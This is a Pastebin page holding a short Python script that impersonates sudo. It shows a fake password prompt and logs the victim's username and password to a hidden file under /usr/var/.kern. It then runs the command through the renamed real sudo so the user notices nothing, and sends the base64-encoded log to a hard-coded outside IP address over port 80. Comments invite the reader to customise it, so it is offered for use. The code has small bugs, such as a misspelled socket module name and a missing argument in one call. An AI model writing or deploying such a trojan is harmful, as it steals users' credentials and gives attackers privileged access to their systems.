Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import os
- import sys
- import getpass
- import socket
- import subprocess as sp
- import base64
- command = ' '.join(map(str, sys.argv[1:]))
- username = getpass.getuser()
- prompt = "[sudo] password for {0}: ".format(username)
- dumpdir = "/usr/var/.kern" # change this
- dumpfile = "/usr/var/.kern/kernlog.log" # change this
- sudo = 'sudont' # change this to the the new name of the sudo binary
- def send_pwds(dumpfile):
- try:
- with open(dumpfile, 'r') as f:
- read_data = socket.getfqdn()
- read_data += f.read()
- read_data = base64.b64encode(read_data)
- f.close()
- s = socket.socket(socker.AF_INET,socket.SOCK_STREAM)
- s.connect(('13.82.225.231',80))
- s.sendall(read_data)
- s.close()
- except:
- pass
- def run(command):
- sp.call(command, shell=True)
- def snoop():
- password = getpass.getpass(prompt)
- if os.path.isfile(dumpfile):
- dump = open(dumpfile, 'a')
- dump.write("\n{0} : {1}".format(username, password))
- dump.close()
- else:
- run("mkdir -p {0}".format(dumpdir))
- dump = open(dumpfile, 'w')
- dump.write("\n{0} : {1}".format(username, password))
- dump.close()
- return password
- def sudocmd(cmd, password):
- wrapper = "echo {0} 2>/dev/null | {1} -kS {2}".format(password, sudo, cmd)
- run(wrapper)
- def main():
- sudocmd(command, snoop())
- send_pwds()
- if __name__ == '__main__':
- try:
- main()
- except KeyboardInterrupt:
- sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement